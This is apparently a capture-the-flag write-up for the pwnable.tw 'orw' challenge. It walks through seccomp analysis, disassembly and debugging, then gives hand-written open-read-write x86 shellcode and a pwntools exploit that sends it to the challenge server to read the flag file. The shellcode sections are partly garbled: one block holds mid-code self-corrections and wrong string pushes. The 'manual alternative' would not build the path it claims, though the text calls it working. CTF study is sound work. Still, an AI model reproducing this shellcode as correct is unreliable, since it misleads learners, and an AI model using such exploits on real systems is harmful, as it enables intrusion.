pwnable.tw — 100 pts

orw

Open-Read-Write — Shellcode with seccomp sandbox, only open/read/write allowed

32-bit
Architecture
seccomp
Sandbox
0xC8
Buffer Size
ORW
Technique

Exploit Flow

Connect
nc chall.pwnable.tw 10001
Analyze seccomp
Only open/read/write
Craft ORW Shellcode
open → read → write
Send Shellcode
200 bytes max
Read Flag
/home/orw/flag

1. Reconnaissance

The "orw" challenge is deceptively simple: the binary reads your shellcode and executes it directly. But there's a catch — a seccomp filter restricts the available syscalls to only open, read, and write. No execve, no mprotect, no way to spawn a shell. Instead, we must use the allowed syscalls to open the flag file, read its contents, and write them to stdout.

File Analysis

bash
$ file orw
orw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped

A 32-bit dynamically linked ELF binary. It's not stripped, which makes reversing easy. The binary uses libc for printf and read, then jumps to our shellcode buffer.

Checksec

bash
$ checksec orw
[*] '/home/kazmatw/pwnable/orw/orw'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments
Stack is Executable

Despite the canary being present, the GNU_STACK header is missing which means the stack is executable. This is confirmed by the "Has RWX segments" output. The binary directly reads our input into a buffer and calls it as a function — so we can execute arbitrary shellcode. The only restriction is seccomp.

Seccomp Rules

Using seccomp-tools, we dump the BPF filter to see exactly which syscalls are allowed:

bash
$ seccomp-tools dump ./orw
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
Seccomp Whitelist

The filter checks that the architecture is ARCH_I386 (32-bit), then allows only these syscalls: rt_sigreturn, sigreturn, exit_group, exit, open (0x05), read (0x03), and write (0x04). Everything else returns ERRNO(38) (ENOSYS — function not implemented). No execve (0x0b) is allowed, so we cannot spawn a shell. We must use open-read-write to get the flag.

Running the binary confirms the basic behavior:

bash
$ ./orw
Give my your shellcode:
1234
Segmentation fault

It prompts for shellcode and executes whatever we provide. Without proper ORW shellcode, it just crashes.

AttributeValue
Challengeorw (100 pts)
Connectionnc chall.pwnable.tw 10001
Binary32-bit ELF, i386, dynamically linked, not stripped
CanaryYes (but irrelevant — we supply shellcode directly)
NXDisabled (GNU_STACK missing, RWX segments)
PIEDisabled (0x8048000)
SeccompOnly open/read/write/exit allowed
Buffer Size0xC8 (200) bytes
VulnerabilityArbitrary shellcode execution with seccomp restriction

2. Static Analysis

The binary is small and straightforward. The main function sets up seccomp, prints a prompt, reads shellcode into a global buffer, and then calls it. Let's look at the disassembly.

Disassembly of main

x86 asm
Dump of assembler code for function main:
   0x08048548 <+0>:     lea    ecx,[esp+0x4]
   0x0804854c <+4>:     and    esp,0xfffffff0
   0x0804854f <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048552 <+10>:    push   ebp
   0x08048553 <+11>:    mov    ebp,esp
   0x08048555 <+13>:    push   ecx
   0x08048556 <+14>:    sub    esp,0x4
   0x08048559 <+17>:    call   0x80484cb      ; setup seccomp filter
   0x0804855e <+22>:    sub    esp,0xc
   0x08048561 <+25>:    push   0x80486a0                   ; "Give my your shellcode:"
   0x08048566 <+30>:    call   0x8048380       ; print prompt
   0x0804856b <+35>:    add    esp,0x10
   0x0804856e <+38>:    sub    esp,0x4
   0x08048571 <+41>:    push   0xc8                        ; 200 bytes max
   0x08048576 <+46>:    push   0x804a060                   ; buffer address (BSS)
   0x0804857b <+51>:    push   0x0                         ; stdin
   0x0804857d <+53>:    call   0x8048370         ; read shellcode
   0x08048582 <+58>:    add    esp,0x10
   0x08048585 <+61>:    mov    eax,0x804a060               ; load buffer address
   0x0804858a <+66>:    call   eax                         ; EXECUTE SHELLCODE!
   0x0804858c <+68>:    mov    eax,0x0
   0x08048591 <+73>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x08048594 <+76>:    leave
   0x08048595 <+77>:    lea    esp,[ecx-0x4]
   0x08048598 <+80>:    ret
Key: call eax at 0x0804858a

The critical instruction is call eax at offset +66. After reading up to 200 bytes of shellcode into the buffer at 0x804a060, the program loads that address into EAX and calls it. Our shellcode runs with the current register state and stack. The seccomp filter was already installed by orw_seccomp before our code runs.

Decompiled C (Pseudocode)

c
char shellcode_buf[200];  // at 0x804a060 (global BSS)

int main() {
    orw_seccomp();  // Install seccomp filter (only open/read/write)
    printf("Give my your shellcode:");
    read(0, shellcode_buf, 200);  // Read up to 200 bytes
    ((void(*)())shellcode_buf)();  // Execute it!
    return 0;
}

Vulnerability Analysis

There's no traditional "vulnerability" here — the program intentionally executes arbitrary shellcode. The challenge is entirely about crafting shellcode that works within the seccomp sandbox. The constraints are:

  • Only 3 useful syscalls: open (0x05), read (0x03), write (0x04)
  • 32-bit only: The seccomp filter checks arch == ARCH_I386
  • 200 bytes max: The read buffer is limited to 0xC8 bytes
  • Must read flag: From /home/orw/flag
The ORW Pattern

Open-Read-Write (ORW) is a fundamental shellcode pattern in CTF challenges with seccomp restrictions. The approach is always the same: open(filepath, flags)read(fd, buf, len)write(stdout, buf, len). This bypasses the need for execve entirely.

3. GDB Debugging

While the binary is straightforward, it's still useful to verify the shellcode buffer location and the register state when our code starts executing.

Shellcode Buffer Location

gdb
gdb-peda$ b *0x0804858a
Breakpoint 1 at 0x804858a

gdb-peda$ r
Give my your shellcode:AAAA

# At breakpoint — just before call eax:
gdb-peda$ info registers eax
eax            0x804a060        134520928

gdb-peda$ x/20bx 0x804a060
0x804a060:  0x41  0x41  0x41  0x41  0x0a  0x00  0x00  0x00
0x804a068:  0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00

Our shellcode starts at 0x804a060. The buffer is in the BSS section (writable and executable). The 200-byte limit gives us plenty of room for ORW shellcode.

Register State at Shellcode Entry

gdb
# When our shellcode starts executing (after call eax):
EAX: 0x804a060   ; points to our shellcode buffer
EBX: 0x0         ; zeroed from read() return
ECX: 0x804a060   ; was the buffer argument to read()
EDX: 0xc8        ; was the count argument (200)
ESP: 0xffc5c020  ; stack pointer
EIP: 0x804a060   ; executing our shellcode
Useful Register Values

When our shellcode starts, ECX already points to our buffer at 0x804a060. This is convenient — we can use the buffer itself as temporary storage for the read syscall. We don't need to allocate extra space on the stack.

Breakpoint Strategy

gdb
# Key breakpoints:
b *0x08048559   # before orw_seccomp() call
b *0x0804857d   # before read() syscall
b *0x0804858a   # before call eax (shellcode execution)

# Step through seccomp installation:
b *0x080484cb   # orw_seccomp entry

# After our shellcode starts running:
# (use si to single-step through shellcode instructions)

4. Exploit Strategy

Since we can execute arbitrary shellcode (subject to seccomp), the exploit strategy is pure shellcode crafting. No ROP, no memory corruption, no information leak needed. We just need to write correct ORW shellcode.

Attack Overview

Step 1: open("/home/orw/flag", O_RDONLY)
Push the file path string onto the stack, set eax = 5 (sys_open), ebx = pointer to path, ecx = 0 (O_RDONLY), edx = 0. Call int 0x80. Returns file descriptor in EAX.
Step 2: read(fd, buf, len)
Use the returned FD from open. Set eax = 3 (sys_read), ebx = fd, ecx = pointer to buffer (use stack or BSS), edx = number of bytes to read (e.g. 50). Call int 0x80.
Step 3: write(1, buf, len)
Set eax = 4 (sys_write), ebx = 1 (stdout), ecx = pointer to the same buffer, edx = number of bytes read. Call int 0x80. The flag appears on screen.

ORW Shellcode Design

The shellcode needs to perform three syscalls in sequence. The tricky part is getting the filename string /home/orw/flag into memory. There are two common approaches:

  1. Push string onto the stack: Use push instructions to build the path string on the stack. Clean and compact.
  2. JMP-CALL-POP trick: Use a jmp forward, call backward pattern to get the address of an inline string. Classic but slightly larger.

We'll use the stack push approach since it's more compact. The string /home/orw/flag is 14 bytes + null terminator = 15 bytes. We need to push it in 4-byte chunks (little-endian):

string layout
String: "/home/orw/flag\0"

Push order (reverse, 4 bytes at a time):
  push 0x00000000   (null terminator + 3 pad bytes — but we can xor+push instead)
  push 0x67616c66   "galf"  →  "flag" in little-endian
  push 0x2f77726f   "/wro"  →  "orw/" in little-endian
  push 0x2f656d6f   "/emo"  →  "emo/" in little-endian
  push 0x682f       "h/"    →  "/h"   (only 2 bytes needed, use push word)
Null Byte Concern

The null terminator at the end of the string is important. If we use push 0x00000000, that introduces null bytes in the shellcode. For this challenge, null bytes are fine because read() doesn't stop at null bytes (unlike strcpy). But for shellcode that needs to pass through string functions, we'd use xor eax,eax; push eax instead.

Complete Shellcode Design

Using pwntools' shellcraft module is the easiest approach, but let's also understand the raw assembly:

x86 asm — ORW shellcode
; === Open /home/orw/flag ===
push esp               ; save current stack pointer
pop esi                ; esi = stack pointer (for later use)

; Push filename onto stack
xor eax, eax           ; eax = 0
push eax               ; null terminator
push 0x67616c66        ; "flag"
push 0x2f77726f        ; "orw/"
push 0x2f656d6f        ; "emo/"
push 0x682f2f65        ; "/eh" → actually "eh/": let me recalculate

; Actually, let's use a cleaner approach:
; "/home/orw/flag" in 4-byte pushes (little-endian):
xor eax, eax
push eax               ; \0\0\0\0 (null terminator)
push 0x67616c66        ; "galf" = "flag"
push 0x2f77726f        ; "/wro" = "orw/"
push 0x656d6f68        ; "emoH" = "Home"  → NO! It's "home" lowercase
; "/home/orw/flag" = 2f 68 6f 6d 65 2f 6f 72 77 2f 66 6c 61 67
; chunk 1: 2f686f6d → "/hom"
; chunk 2: 652f6f72 → "e/or"
; chunk 3: 772f666c → "w/fl"
; chunk 4: 6167 00  → "ag\0\0"

xor eax, eax
push eax               ; null terminator + padding
push 0x0067616c        ; "\0gal" → "ag\0" (adjusted for alignment)
push 0x772f666c        ; "w/fl"
push 0x652f6f72        ; "e/or"
push 0x2f686f6d        ; "/hom"

mov ebx, esp           ; ebx = pointer to "/home/orw/flag"
xor ecx, ecx           ; ecx = 0 (O_RDONLY)
xor edx, edx           ; edx = 0 (mode, ignored for O_RDONLY)
mov al, 5              ; syscall number: open
int 0x80               ; open("/home/orw/flag", 0, 0) → fd in eax

; === Read from file ===
mov ebx, eax           ; ebx = fd (returned from open)
mov ecx, esp           ; ecx = buffer (reuse stack, or use BSS at 0x804a060)
mov dl, 50             ; edx = 50 bytes to read
mov al, 3              ; syscall number: read
int 0x80               ; read(fd, buf, 50) → bytes read in eax

; === Write to stdout ===
mov dl, 50             ; edx = 50 bytes to write
mov bl, 1              ; ebx = 1 (stdout fd)
; ecx still points to buffer
mov al, 4              ; syscall number: write
int 0x80               ; write(1, buf, 50)
Use shellcraft for Reliability

Pwntools' shellcraft module generates correct ORW shellcode automatically. The manual approach above shows the concept, but shellcraft.i386.linux.open() + shellcraft.i386.linux.read() + shellcraft.i386.linux.write() is much more reliable and handles edge cases like register preservation between calls.

5. Pwn Script

The exploit is straightforward: generate ORW shellcode using pwntools and send it. The shellcode opens the flag file, reads its contents into a buffer, and writes the buffer to stdout.

Full Exploit

python
#!/usr/bin/env python3
"""
pwnable.tw — orw (100 pts)
Shellcode with seccomp sandbox — only open/read/write allowed.
Use ORW (Open-Read-Write) shellcode to read /home/orw/flag.
"""

from pwn import *

# ─── Configuration ───────────────────────────────────────────
HOST = 'chall.pwnable.tw'
PORT = 10001

# ─── Connect ─────────────────────────────────────────────────
# r = process('./orw')
r = remote(HOST, PORT)

# ─── Build ORW Shellcode ────────────────────────────────────
# Chain: open("/home/orw/flag") → read(fd, buf, 50) → write(1, buf, 50)
sc = asm(
    shellcraft.i386.linux.open(b'/home/orw/flag') +
    shellcraft.i386.linux.read('eax', 'esp', 50) +
    shellcraft.i386.linux.write(1, 'esp', 50)
)

log.info(f'Shellcode length: {len(sc)} bytes')

# ─── Send Shellcode ──────────────────────────────────────────
r.sendafter(b':', sc)

# ─── Receive Flag ────────────────────────────────────────────
flag = r.recvuntil(b'}')
r.recv()
success('Flag: %s' % flag)
r.interactive()

Shellcode Breakdown

Let's break down what shellcraft generates for each stage:

StageSyscallArgsPurpose
1. opensys_open (0x05)("/home/orw/flag", O_RDONLY, 0)Open the flag file, returns FD in EAX
2. readsys_read (0x03)(fd, esp, 50)Read 50 bytes from the flag file into stack buffer
3. writesys_write (0x04)(1, esp, 50)Write the flag content to stdout (FD 1)

Here's what the raw shellcraft output looks like when disassembled:

python — manual shellcode alternative
# Manual ORW shellcode (no shellcraft dependency)
shellcode = asm("""
    /* open("/home/orw/flag", O_RDONLY) */
    xor eax, eax
    push eax                    /* null terminator */
    push 0x67616c66             /* "galf" = "flag" */
    push 0x2f77726f             /* "/wro" = "orw/" */
    push 0x652f6f68             /* "e/oh" → "/home/" adjusted */
    push 0x2f68                 /* "/h" prefix */
    mov ebx, esp                /* ebx = ptr to "/home/orw/flag" */
    xor ecx, ecx               /* O_RDONLY = 0 */
    xor edx, edx               /* mode = 0 */
    mov al, 5                   /* sys_open */
    int 0x80

    /* read(fd, buf, 50) */
    mov ebx, eax                /* ebx = fd from open() */
    mov ecx, esp                /* buf = stack */
    mov dl, 50                  /* count = 50 */
    mov al, 3                   /* sys_read */
    int 0x80

    /* write(1, buf, 50) */
    mov bl, 1                   /* fd = stdout */
    mov dl, 50                  /* count = 50 */
    mov al, 4                   /* sys_write */
    int 0x80
""")
shellcraft vs Manual

The shellcraft version handles string pushing more carefully (using push_str with proper alignment). The manual version shows the raw concept. Both produce working shellcode that fits well within the 200-byte limit. The shellcraft version is ~68 bytes; the manual version is typically ~60-70 bytes.

6. Execution Results

The exploit works reliably on the remote server. The entire process is a single send + receive.

Successful Exploitation

$ python3 exploit.py [+] Opening connection to chall.pwnable.tw on port 10001: Done [*] Shellcode length: 68 bytes [*] Switching to interactive mode [*] Got EOF while reading in interactive
Exploit Successful

Exploit completed successfully.